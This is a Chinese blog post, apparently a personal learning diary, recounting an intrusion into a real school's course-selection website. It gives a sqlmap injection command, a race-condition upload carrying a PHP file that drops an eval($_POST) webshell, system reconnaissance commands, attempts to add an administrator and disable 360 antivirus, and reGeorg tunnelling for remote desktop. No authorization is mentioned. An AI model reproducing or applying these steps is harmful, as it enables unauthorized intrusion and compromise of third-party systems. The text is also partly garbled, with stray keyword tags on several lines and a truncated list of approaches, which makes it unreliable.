以前對滲透這方面的學習一直只是學到了Getshell爲止,可是其實滲透能夠說Getshell僅僅是一個開端,接下去的還有遠程鏈接,域滲透等領域,此次恰好滲透到了某網站,決定以該網站爲例,看看能不能進行一次相對完整的滲透歷程php
該網站是某校某選課網站,首先先用掃描器掃描一下網站,運氣很好,竟然掃出了一個注入,一看,原來是個寬字節注入 前端
簡單測了一下,發現並無什麼過濾,那就常規操做,用SQLmap跑一下python
python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes
複製代碼
接下來即是爆庫,爆表,爆列,爆值等常規操做。 獲取Admin表中的帳號密碼,雖然說密碼是md5加密的了,可是去cmd5平臺上一查,仍是很方便的進入了後臺 git
接下來即是尋求Getshell的機會了 github
注意到這裏有個上傳文件的地方,從源碼中能夠看到是Fckeditor編輯器 從網上搜索相關的漏洞,首先先查看版本 web
發現是2.6.6版本的,遺憾的是隻能找到2.6.6asp版本的洞,PHP版本的並不能找到相關的漏洞,而用了幾個EXP去試試運氣也都碰壁了,滲透原本到此就受阻 可是忽然發現還有一個上傳學生名單的接口 sql
測試了一下,只有一個簡單的前端認證,而且用burpsuite一看,還有了驚喜的發現shell
文件不只上傳成功了,而且還返回了相應的路徑,當下便想到來連shell了,但當我想來連之時,卻發現文件被刪了,由文件路徑裏面有個temp,一會兒就想到後端確定寫了一個自動清空temp目錄的函數,可是解決思路也是很明確的,就是條件競爭嘛,經過多線程發包的方法,來實現必定時間內的文件訪問 這裏我將要發包的文件改成:編程
<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>
複製代碼
只要咱們能訪問到它一次,這個程序就會自動在父目錄裏面寫入一個shell,也就實現了跳出temp目錄的寫shell了。 用burpsuite的intruder模塊不斷髮包,再訪問咱們上傳的文件,便實現了成功寫shell的目的,如圖,Getshell: 後端
systeminfo
查看系統相關信息
netstat -ano
查看開放的端口
能夠看到3389端口是打開的,也就是能夠進行遠程鏈接 whoami
查看當前用戶
能夠看到是system權限,原本我覺得大功告成,接下來就是建立管理員用戶,進行遠程鏈接之時,可是發現不管如何都沒法把用戶添加進管理員組 在網上查了不少資料,有人說是可能有殺毒軟件。tasklist
一看,果真有360 那麼問題到這裏就只有三條路了: 1. 殺掉360,看看能不能利用system的高權限殺掉360 2. 獲得其餘管理員帳戶的密碼或者密碼的hash值,利用其餘管理員的帳戶進行登陸 2. 繞過360建立一個管理員帳號
我對這三種狀況都進行了嘗試:
sc delete
方法在這臺機子上也是行不通的(會被攔截),至少如今看起來這條路堵死了那麼就只剩最後一步了,進行遠程鏈接,可是當我想直接鏈接的時候,發現竟然連不上,用nmap掃了一下端口,發現3389沒有開啓,可是上面的`netstat -ano`顯示3389是有開啓的,那就只能說明3389端口是開在內網的,咱們得進行一下內網穿透,把流量轉發出來,使用reGeorg進行內網穿透。
複製代碼
將tunnel.nosocket.php上傳至web目錄(這裏不能上傳tunnel.php,php<5.3不能正常使用tunnel.php) 訪問目標文件:
說明配置正常 最後,咱們就能成功的使用遠程鏈接了,上了遠程鏈接後,首先退出360全部防禦,爲接下來的進一步滲透作準備
此次的滲透就先到這裏,接下來的域滲透,就等之後有時間再來學習和鑽研了。
這是我第一次進行後Getshell的滲透,寫的可能很囉嗦而且很LOW,可是主要目的仍是想讓我本身記住這一此滲透學習到的知識,等之後有時間了再來繼續進行下一步的域滲透